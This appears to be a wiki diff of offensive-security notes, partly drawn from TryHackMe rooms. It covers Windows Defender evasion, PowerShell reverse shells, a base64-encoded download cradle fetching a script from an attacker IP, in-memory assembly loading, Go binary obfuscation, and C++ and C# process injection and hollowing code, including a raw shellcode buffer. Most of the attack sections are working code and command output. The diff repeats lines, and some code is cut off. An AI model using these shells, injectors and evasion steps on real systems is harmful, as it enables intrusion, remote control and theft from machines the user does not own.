=== LSASS dumping without triggering Defender ===


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 469: Line 338:
$F.Close()
$F.Close()
</syntaxhighlight>
</syntaxhighlight>


=== Reverse Shells ===
=== Reverse Shells ===


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 493: Line 360:
$replace.Flush()};
$replace.Flush()};
$BT.Close()
$BT.Close()
</syntaxhighlight>
</syntaxhighlight>


Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 516: Line 380:
$SS.Flush()};
$SS.Flush()};
$J.Close()
$J.Close()
</syntaxhighlight>
</syntaxhighlight>


Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)
Credit: @TihanyiNorbert (Reverse shell based on the original nishang Framework written by @nikhil_mitt)


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 538: Line 399:
$I.Flush()};
$I.Flush()};
$c.Close()
$c.Close()
</syntaxhighlight>
</syntaxhighlight>


Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)
Credit: @TihanyiNorbert (Based on the original nishang Framework written by @nikhil_mitt)


Reverse PowerShell:
Reverse PowerShell:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 567: Line 424:
}While ($true);
}While ($true);
$writer.close();$socket.close();
$writer.close();$socket.close();
</syntaxhighlight>
</syntaxhighlight>


=== Execute assembly in memory ===
=== Execute assembly in memory ===


WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:
WebClient DownloadData [http://x.x.x.x/file.exe http://x.x.x.x/file.exe] method:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 583: Line 436:
$main = [Shell].getmethod("Main", $BindingFlags)
$main = [Shell].getmethod("Main", $BindingFlags)
$main.Invoke($null, $null)
$main.Invoke($null, $null)
</syntaxhighlight>
</syntaxhighlight>


Tools that may help with AV Evasion:
Tools that may help with AV Evasion:


* [https://github.com/phra/PEzor https://github.com/phra/PEzor]
* [https://github.com/phra/PEzor https://github.com/phra/PEzor]


* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]
* [https://github.com/bats3c/darkarmour https://github.com/bats3c/darkarmour]


* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]
* [https://github.com/loadenmb/tvasion https://github.com/loadenmb/tvasion]


== Text Encoding Technique for Bypassing Detection and Remote Command Execution ==
== Text Encoding Technique for Bypassing Detection and Remote Command Execution ==


<code>cat rev.ps1</code>
<code>cat rev.ps1</code>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 624: Line 469:
}While ($true);
}While ($true);
$writer.close();$socket.close();
$writer.close();$socket.close();
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
echo -n "iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10/rev.ps1')" | iconv -t utf-16le | base64 -w0
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
aQBlAHgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA==
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
./exploit.sh -c 'cmd.exe /c powershell -enc aQBlAHgAIAAoAE4AZwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AMgAvAHIAZQB2AC4AcABzADEAJwApAA=='
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 648: Line 487:
Serving HTTP on 0.0.0.0 port 80 ...
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
10.10.10.10 - - [04/Oct/2020 14:15:10] "GET /rev.ps1 HTTP/1.1" 200 -
</syntaxhighlight>
</syntaxhighlight>


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
Line 658: Line 495:
PS C:\Windows\System32>
PS C:\Windows\System32>
</syntaxhighlight>
</syntaxhighlight>


== Go Binaries Obfuscation for Defender Bypass ==
== Go Binaries Obfuscation for Defender Bypass ==


[[File:2023-06-image-21.png|thumb]]
[[File:2023-06-image-21.png|thumb]]


[https://twitter.com/snovvcrash/status/1540395267064741890?lang=en T][https://twitter.com/snovvcrash/status/1540395267064741890?lang=en witter source]
[https://twitter.com/snovvcrash/status/1540395267064741890?lang=en T][https://twitter.com/snovvcrash/status/1540395267064741890?lang=en witter source]


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
# Example
# Example
go install mvdan.cc/garble@latest
go install mvdan.cc/garble@latest
git clone https://github.com/jpillora/chisel.git
git clone https://github.com/jpillora/chisel.git
Line 677: Line 509:
garble -tiny -literals -seed=random build main.go
garble -tiny -literals -seed=random build main.go
</syntaxhighlight>
</syntaxhighlight>


== Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities ==
== Adaptive Anti-Sandbox Shellcode Loader with Kill Switch Capabilities ==


[[File:2023-06-image-22.png|thumb]]
[[File:2023-06-image-22.png|thumb]]


----
----


= Windows API =
= Windows API =


== What is Windows API? ==
== What is Windows API? ==


>
>
The Windows API provides native functionality to interact with key components of the Windows operating system.
The Windows API provides native functionality to interact with key components of the Windows operating system.


== Windows API Components ==
== Windows API Components ==


=== Win32 API Top down list ===
=== Win32 API Top down list ===


{| class="wikitable"
{| class="wikitable"
Line 730: Line 553:
| The parameter values that are defined by the call structures. 
| The parameter values that are defined by the call structures. 
|}
|}


=== Common Windows API's ===
=== Common Windows API's ===


Below is a list of some common Windows API's
Below is a list of some common Windows API's


{| class="wikitable"
{| class="wikitable"
Line 818: Line 638:
| Provides utility functions for string manipulation, file and path operations, URL handling, and registry access.
| Provides utility functions for string manipulation, file and path operations, URL handling, and registry access.
|}
|}


== Operating System Libraries ==
== Operating System Libraries ==


Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of '''ASLR''' ('''A'''ddress '''S'''pace '''L'''ayout '''R'''andomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: '''[https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke P/Invoke]''' and the '''[https://docs.microsoft.com/en-us/windows/win32/winprog/using-the-windows-headers Windows header file]'''.
Each API call of the Win32 library resides in memory and requires a pointer to a memory address. The process of obtaining pointers to these functions is obscured because of '''ASLR''' ('''A'''ddress '''S'''pace '''L'''ayout '''R'''andomization) implementations; each language or package has a unique procedure to overcome ASLR. Throughout this room, we will discuss the two most popular implementations: '''[https://docs.microsoft.com/en-us/dotnet/standard/native-interop/pinvoke P/Invoke]''' and the '''[https://docs.microsoft.com/en-us/windows/win32/winprog/using-the-windows-headers Windows header file]'''.


=== Windows Header File: ===
=== Windows Header File: ===


The Windows header file (windows.h) provided by Microsoft is a solution to overcome '''ASLR '''(Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call '''Win32 '''functions. It takes care of obtaining function addresses or pointers for us.
The Windows header file (windows.h) provided by Microsoft is a solution to overcome '''ASLR '''(Address Space Layout Randomization) challenges. By including this file at the top of our program, we can call '''Win32 '''functions. It takes care of obtaining function addresses or pointers for us.


Example:
Example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
#include
#include
</syntaxhighlight>
</syntaxhighlight>


=== P/Invoke: ===
=== P/Invoke: ===


P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.
P/Invoke (Platform Invoke) is a technology provided by Microsoft that allows us to call unmanaged libraries from managed code. It enables us to access functions, structures, and callbacks in unmanaged libraries (DLLs) like the Win32 API. We start by importing the desired DLL that contains the function we want to call.


Example:
Example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
using System;
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
public class Program
public class Program
{
{
Line 858: Line 667:
     ...
     ...
}
}
</syntaxhighlight>
</syntaxhighlight>


In the above code, we import the user32 DLL using the attribute <code>[DllImport]</code>.
In the above code, we import the user32 DLL using the attribute <code>[DllImport]</code>.


Note: The function declaration is not complete yet; we need to define it externally. The <code>extern</code> keyword informs the runtime about the DLL we imported. Here's an example of creating the external method:
Note: The function declaration is not complete yet; we need to define it externally. The <code>extern</code> keyword informs the runtime about the DLL we imported. Here's an example of creating the external method:


<syntaxhighlight lang="bash">
<syntaxhighlight lang="bash">
using System;
using System;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
public class Program
public class Program
{
{
Line 877: Line 681:
     private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
     private static extern int MessageBox(IntPtr hWnd, string lpText, string lpCaption, uint uType);
}
}
</syntaxhighlight>
</syntaxhighlight>


Now, we can invoke the function <code>MessageBox</code> as a managed method, even though it's an unmanaged function from the Win32 API.
Now, we can invoke the function <code>MessageBox</code> as a managed method, even though it's an unmanaged function from the Win32 API.


== API Call Structure ==
== API Call Structure ==


Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.
Each API call also has a pre-defined structure to define its in/out parameters. See Windows documentation at the start of this page.


<code>WriteProcessMemory</code> API call as an example:
<code>WriteProcessMemory</code> API call as an example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );
BOOL WriteProcessMemory( [in] HANDLE hProcess, [in] LPVOID lpBaseAddress, [in] LPCVOID lpBuffer, [in] SIZE_T nSize, [out] SIZE_T *lpNumberOfBytesWritten );
</syntaxhighlight>
</syntaxhighlight>


== C API Implementation ==
== C API Implementation ==


The <code>windows.h</code> header file  is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.
The <code>windows.h</code> header file  is used to define call structures and obtain function pointers. To include the windows header, prepend the line below to any C or C++ program.


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
#include
#include
</syntaxhighlight>
</syntaxhighlight>


Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using <code>CreateWindowExA</code>.
Creating our first API call. We aim to create a pop-up window with the title: “Hello THM!” using <code>CreateWindowExA</code>.


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
Line 928: Line 721:
);
);
</syntaxhighlight>
</syntaxhighlight>


Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to <code>CreateWindowsExA</code>.
Let’s take these pre-defined parameters and assign values to them. Below is an example of a complete call to <code>CreateWindowsExA</code>.


<syntaxhighlight lang="c">
<syntaxhighlight lang="c">
Line 946: Line 737:
);
);
</syntaxhighlight>
</syntaxhighlight>


== Commonly Abused API Calls ==
== Commonly Abused API Calls ==


{| class="wikitable"
{| class="wikitable"
Line 983: Line 772:
| Changes the protection on a region of memory in the virtual address space of the calling process
| Changes the protection on a region of memory in the virtual address space of the calling process
|}
|}


----
----


= Abusing Windows Internals =
= Abusing Windows Internals =


The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM ('''C'''omponent '''O'''bject '''M'''odel), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs ('''D'''ynamic '''L'''ink '''L'''ibraries), and the PE ('''P'''ortable '''E'''xecutable) format.
The term Windows internals can encapsulate any component found on the back-end of the Windows operating system. This can include processes, file formats, COM ('''C'''omponent '''O'''bject '''M'''odel), task scheduling, I/O System, etc. This room will focus on abusing and exploiting processes and their components, DLLs ('''D'''ynamic '''L'''ink '''L'''ibraries), and the PE ('''P'''ortable '''E'''xecutable) format.


== Injection types ==
== Injection types ==


{| class="wikitable"
{| class="wikitable"
Line 1,014: Line 798:
| Self-inject a PE image pointing to a malicious function into a target process
| Self-inject a PE image pointing to a malicious function into a target process
|}
|}


== Process Injection (Shellcode injection) ==
== Process Injection (Shellcode injection) ==


Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.
Process injection involves the injection of code or data into the address space of a running process. The goal of process injection is usually to execute malicious code within the context of another process, often to evade detection or to gain access to sensitive data.


A process houses an application and has its own memory space, while threads execute application code within a process.
A process houses an application and has its own memory space, while threads execute application code within a process.


Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.
Process injection links processes using APIs like OpenProcess, modifies memory with VirtualAllocEx and WriteProcessMemory, and creates threads via CreateRemoteThread.


Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.
Processes have Integrity levels restricting access, but injection is possible within the same or lower Integrity level.


We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.
We target explorer.exe becuase its usually running as long as the user is logged in. VirtualAllocEx allows memory allocation in other processes. WriteProcessMemory copies data to a remote process.


For remote thread creation, we use CreateRemoteThread API.
For remote thread creation, we use CreateRemoteThread API.


At a high level, shellcode injection can be broken up into four steps:
At a high level, shellcode injection can be broken up into four steps:


* Open a target process with all access rights.
* Open a target process with all access rights.


* Allocate target process memory for the shellcode.
* Allocate target process memory for the shellcode.


* Write shellcode to allocated memory in the target process.
* Write shellcode to allocated memory in the target process.


* Execute the shellcode using a remote thread.
* Execute the shellcode using a remote thread.


* Open a target process with all access rights:
* Open a target process with all access rights:


* Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe".
* Identify the target process you want to inject the shellcode into. Let's assume the target process is named "target.exe".


* Use a function like OpenProcess() to open the target process with the necessary access rights.
* Use a function like OpenProcess() to open the target process with the necessary access rights.
For example:
For example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,068: Line 836:
}
}
</syntaxhighlight>
</syntaxhighlight>


* Allocate target process memory for the shellcode:
* Allocate target process memory for the shellcode:


* Determine the size of the shellcode you want to inject.
* Determine the size of the shellcode you want to inject.


* Use a function like VirtualAllocEx() to allocate memory within the target process.
* Use a function like VirtualAllocEx() to allocate memory within the target process.
For example:
For example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,086: Line 850:
}
}
</syntaxhighlight>
</syntaxhighlight>


* Write shellcode to allocated memory in the target process:
* Write shellcode to allocated memory in the target process:


* Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().
* Copy the shellcode into the allocated memory within the target process using a function like WriteProcessMemory().
For example:
For example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,100: Line 861:
}
}
</syntaxhighlight>
</syntaxhighlight>


* Execute the shellcode using a remote thread:
* Execute the shellcode using a remote thread:


* Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.
* Create a remote thread within the target process that starts execution at the address of the allocated memory where the shellcode is written.


* Use a function like CreateRemoteThread() to create the remote thread.
* Use a function like CreateRemoteThread() to create the remote thread.
For example:
For example:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
Line 1,118: Line 875:
}
}
</syntaxhighlight>
</syntaxhighlight>


The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.
The shellcode will be executed within the context of the target process, and you can monitor the results or perform any necessary cleanup.


=== c++ example of shellcode injection into the "notepad.exe" ===
=== c++ example of shellcode injection into the "notepad.exe" ===


Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API:
Example of shellcode injection into the "notepad.exe" process using C++ and the Windows API:


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
#include
#include
#include
#include
// The shellcode to be injected (example: display a message box)
// The shellcode to be injected (example: display a message box)
unsigned char shellcode[] =
unsigned char shellcode[] =
Line 1,153: Line 905:
     "\x51"                    // push ecx
     "\x51"                    // push ecx
     "\xff\xd0";                // call eax
     "\xff\xd0";                // call eax
int main() {
int main() {
     // Open the target process (notepad.exe)
     // Open the target process (notepad.exe)
Line 1,165: Line 916:
             return 1;
             return 1;
         }
         }
         // Allocate memory in the target process
         // Allocate memory in the target process
         LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
         LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Line 1,173: Line 923:
             return 1;
             return 1;
         }
         }
         // Write the shellcode to the allocated memory
         // Write the shellcode to the allocated memory
         if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
         if (!WriteProcessMemory(hProcess, remoteMemory, shellcode, sizeof(shellcode), NULL)) {
Line 1,181: Line 930:
             return 1;
             return 1;
         }
         }
         // Execute the shellcode in the target process by creating a remote thread
         // Execute the shellcode in the target process by creating a remote thread
         HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
         HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)remoteMemory, NULL, 0, NULL);
Line 1,190: Line 938:
             return 1;
             return 1;
         }
         }
         // Wait for the remote thread to finish
         // Wait for the remote thread to finish
         WaitForSingleObject(hThread, INFINITE);
         WaitForSingleObject(hThread, INFINITE);
         // Cleanup
         // Cleanup
         CloseHandle(hThread);
         CloseHandle(hThread);
         VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
         VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE);
         CloseHandle(hProcess);
         CloseHandle(hProcess);
         std::cout << "Shellcode injected successfully!" << std::endl;
         std::cout << "Shellcode injected successfully!" << std::endl;
     } else {
     } else {
Line 1,204: Line 949:
         return 1;
         return 1;
     }
     }
     return 0;
     return 0;
}
}
</syntaxhighlight>
</syntaxhighlight>


Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code.
Please note that this example assumes that the "notepad.exe" process is already running and has an untitled notepad window open. If you're testing this on your system, make sure to open Notepad and keep it untitled before running the code.


The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements.
The provided shellcode in this example displays a message box with the title "notepad" and the message "cmd.exe". You can modify the shellcode to execute different actions or payloads based on your requirements.


=== C# example ===
=== C# example ===


<syntaxhighlight lang="csharp">
<syntaxhighlight lang="csharp">
Line 1,224: Line 963:
using System.Diagnostics;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Runtime.InteropServices;
namespace Inject
namespace Inject
{
{
Line 1,230: Line 968:
     {
     {
         // Import necessary functions from kernel32.dll
         // Import necessary functions from kernel32.dll
         // Opens an existing local process object
         // Opens an existing local process object
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
         static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
         static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);
         // Reserves or commits a region of memory within the virtual address space of a specified process
         // Reserves or commits a region of memory within the virtual address space of a specified process
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
         [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
         static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
         static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
         // Writes data to an area of memory in a specified process
         // Writes data to an area of memory in a specified process
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
         static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);
         // Creates a thread that runs in the virtual address space of another process
         // Creates a thread that runs in the virtual address space of another process
         [DllImport("kernel32.dll")]
         [DllImport("kernel32.dll")]
         static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
         static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
         static void Main(string[] args)
         static void Main(string[] args)
         {
         {
Line 1,256: Line 989:
                 return;
                 return;
             }
             }
             int targetProcessId = localByName[0].Id;
             int targetProcessId = localByName[0].Id;
             // Obtain a handle to the target process
             // Obtain a handle to the target process
             IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
             IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);
             // Allocate memory in the target process's address space
             // Allocate memory in the target process's address space
             IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
             IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
             // Define the shellcode bytes to inject
             // Define the shellcode bytes to inject
             byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
             byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8,
Line 1,310: Line 1,039:
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5
};
};


             // Write the shellcode to the allocated memory in the target process
             // Write the shellcode to the allocated memory in the target process
             IntPtr outSize;
             IntPtr outSize;
             WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
             WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);
             // Create a remote thread in the target process to execute the shellcode
             // Create a remote thread in the target process to execute the shellcode
             IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
             IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
Line 1,322: Line 1,049:
}
}
</syntaxhighlight>
</syntaxhighlight>


== Process Hollowing ==
== Process Hollowing ==


This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE ('''P'''ortable '''E'''xecutable) data and sections into the process.
This technique is accomplished by “hollowing” or un-mapping the process and injecting specific PE ('''P'''ortable '''E'''xecutable) data and sections into the process.


The code below performs the following steps:
The code below performs the following steps:


* It creates a new process (in this case, Notepad) in a suspended state.
* It creates a new process (in this case, Notepad) in a suspended state.


* It opens a malicious executable file.
* It opens a malicious executable file.


* It reads the headers of the malicious file to understand its structure.
* It reads the headers of the malicious file to understand its structure.


* It unmaps the legitimate code from the process memory.
* It unmaps the legitimate code from the process memory.


* It maps sections of the malicious file into the process memory.
* It maps sections of the malicious file into the process memory.


* It sets the entry point of the process to the malicious code.
* It sets the entry point of the process to the malicious code.


* Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.
* Finally, it resumes the process, allowing the malicious code to execute within the context of the legitimate process.


Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.
Essentially, the code replaces the original code of a process with malicious code, making it appear as if the malicious actions are performed by a legitimate process. This technique is often used by malware to evade detection and perform unauthorized activities.


<syntaxhighlight lang="cpp">
<syntaxhighlight lang="cpp">
#include
#include
#include
#include
// Function to read the headers of the malicious image
// Function to read the headers of the malicious image
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
bool ReadImageHeaders(HANDLE hFile, PIMAGE_DOS_HEADER* ppDosHeader, PIMAGE_NT_HEADERS* ppNtHeaders) {
Line 1,368: Line 1,082:
     if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
     if (!ReadFile(hFile, &dosHeader, sizeof(IMAGE_DOS_HEADER), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_DOS_HEADER))
         return false;
         return false;
     // Verify the DOS signature
     // Verify the DOS signature
     if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
     if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE)
         return false;
         return false;
     // Allocate memory for the DOS header and copy the data
     // Allocate memory for the DOS header and copy the data
     *ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
     *ppDosHeader = (PIMAGE_DOS_HEADER)malloc(sizeof(IMAGE_DOS_HEADER));
Line 1,378: Line 1,090:
         return false;
         return false;
     memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));
     memcpy(*ppDosHeader, &dosHeader, sizeof(IMAGE_DOS_HEADER));
     // Move the file pointer to the NT headers
     // Move the file pointer to the NT headers
     if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
     if (SetFilePointer(hFile, dosHeader.e_lfanew, NULL, FILE_BEGIN) == INVALID_SET_FILE_POINTER)
         return false;
         return false;
     // Read the NT headers
     // Read the NT headers
     IMAGE_NT_HEADERS ntHeaders;
     IMAGE_NT_HEADERS ntHeaders;
     if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
     if (!ReadFile(hFile, &ntHeaders, sizeof(IMAGE_NT_HEADERS), &bytesRead, NULL) || bytesRead != sizeof(IMAGE_NT_HEADERS))
         return false;
         return false;
     // Verify the NT signature
     // Verify the NT signature
     if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
     if (ntHeaders.Signature != IMAGE_NT_SIGNATURE)
         return false;
         return false;
     // Allocate memory for the NT headers and copy the data
     // Allocate memory for the NT headers and copy the data
     *ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
     *ppNtHeaders = (PIMAGE_NT_HEADERS)malloc(sizeof(IMAGE_NT_HEADERS));
Line 1,397: Line 1,105:
         return false;
         return false;
     memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));
     memcpy(*ppNtHeaders, &ntHeaders, sizeof(IMAGE_NT_HEADERS));
     return true;
     return true;
}
}
// Function to un-map legitimate code from process memory
// Function to un-map legitimate code from process memory
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
bool UnmapImage(HANDLE hProcess, PIMAGE_NT_HEADERS pNtHeaders) {
     // Calculate the base address of the image
     // Calculate the base address of the image
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     // Unmap the image from process memory
     // Unmap the image from process memory
     if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
     if (!VirtualFreeEx(hProcess, baseAddress, 0, MEM_RELEASE))
         return false;
         return false;
     return true;
     return true;
}
}
// Function to map sections of the malicious image into process memory
// Function to map sections of the malicious image into process memory
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
bool MapSections(HANDLE hProcess, HANDLE hFile, PIMAGE_DOS_HEADER pDosHeader, PIMAGE_NT_HEADERS pNtHeaders) {
     // Calculate the base address of the image
     // Calculate the base address of the image
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     LPVOID baseAddress = (LPVOID)pNtHeaders->OptionalHeader.ImageBase;
     // Iterate over each section in the image
     // Iterate over each section in the image
     IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
     IMAGE_SECTION_HEADER* pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
Line 1,424: Line 1,126:
